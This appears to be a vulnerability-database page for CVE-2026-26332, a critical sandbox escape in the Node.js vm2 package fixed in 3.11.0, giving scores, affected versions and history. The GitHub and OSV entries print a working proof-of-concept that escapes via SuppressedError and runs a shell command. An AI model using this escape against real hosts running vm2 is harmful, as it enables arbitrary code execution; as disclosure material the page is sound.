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CVE-2026-26332

vm2: Sandbox Escape

9.8 CriticalFix available

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.71%Up 0.6 points since May 5, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.8

vm2: Sandbox Escape

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0.

Record
CVE-2026-26332
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-94, CWE-693, CWE-653
Updated
2026-11-02
EUVDEUVD-2026-26993 9.8

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0.

Record
EUVD-2026-26993
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-55hx-c926-fr95 9.8

VM2 Has a Sandbox Escape Issue via SuppressedError

In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.

PoC

const { VM } = require("vm2");

const vm = new VM();

vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
  const e = Error();
  e.name = Symbol();
  e.stack;
});
try {
  ds.dispose();
} catch(e) {
  const Function = e.suppressed.constructor.constructor;
  const process = new Function("return process;")();
  const { execSync } = process.mainModule.require("node:child_process");
  execSync("echo pwned", { stdio: "inherit" });
}
`);
Record
GHSA-55hx-c926-fr95
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94, CWE-653, CWE-693
Updated
2026-11-04
NVD 9.8

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0.

Record
CVE-2026-26332
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-94, CWE-693, CWE-653
Updated
2026-11-02
OSV 9.8

vm2: Sandbox Escape

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0.

Record
CVE-2026-26332
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-693, CWE-94
Updated
2026-11-02
OSVGHSA-55hx-c926-fr95 9.8

VM2 Has a Sandbox Escape Issue via SuppressedError

In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.

PoC

const { VM } = require("vm2");

const vm = new VM();

vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
  const e = Error();
  e.name = Symbol();
  e.stack;
});
try {
  ds.dispose();
} catch(e) {
  const Function = e.suppressed.constructor.constructor;
  const process = new Function("return process;")();
  const { execSync } = process.mainModule.require("node:child_process");
  execSync("echo pwned", { stdio: "inherit" });
}
`);
Record
GHSA-55hx-c926-fr95
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-653, CWE-693, CWE-94
Updated
2026-11-04
OSVROOT-APP-NPM-CVE-2026-26332 9.8

CVE-2026-26332 in vm2 - Patched by Root

Root has patched CVE-2026-26332 in the vm2 package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-26332
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVCLSA-2026-1787860907 No score

TuxCare security update for vm2 (34 CVEs)

TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.

Record
CLSA-2026-1787860907
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
vm2
npm
 before 3.11.0
3.11.0
vm2
TuxCare:npm
From an advisory covering 30 CVEs
 3.10.0-tuxcare.0 up to 3.10.0-tuxcare.1, plus listed versions
3.10.0
3.10.0-tuxcare.1
vm2
Root:npm
 before 3.9.17-aikido.11
3.9.17-aikido.113.9.17-aikido.123.10.5-aikido.63.9.17-aikido.133.9.17-aikido.73.9.17-aikido.83.9.17-aikido.93.9.17-aikido.103.10.5-aikido.73.9.7-aikido.53.9.7-aikido.63.10.5-aikido.8
@rootio/vm2
Root:npm
 before 3.10.5-root.io.2
3.10.5-root.io.23.10.5-root.io.33.10.5-root.io.43.10.5-root.io.53.9.17-root.io.113.9.17-root.io.123.10.5-root.io.63.9.17-root.io.133.9.17-root.io.73.9.17-root.io.83.9.17-root.io.93.9.17-root.io.103.10.5-root.io.73.9.7-root.io.53.9.7-root.io.63.10.5-root.io.8

History

History
RecordedChangedSources
affected
referencesOSV
affected, factsGitHub Advisories
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-26332 is a critical vulnerability (CVSS 9.8) in Patriksimek Vm2, published May 4, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.71%, the 53rd percentile. Fixed in vm2 3.11.0.

References

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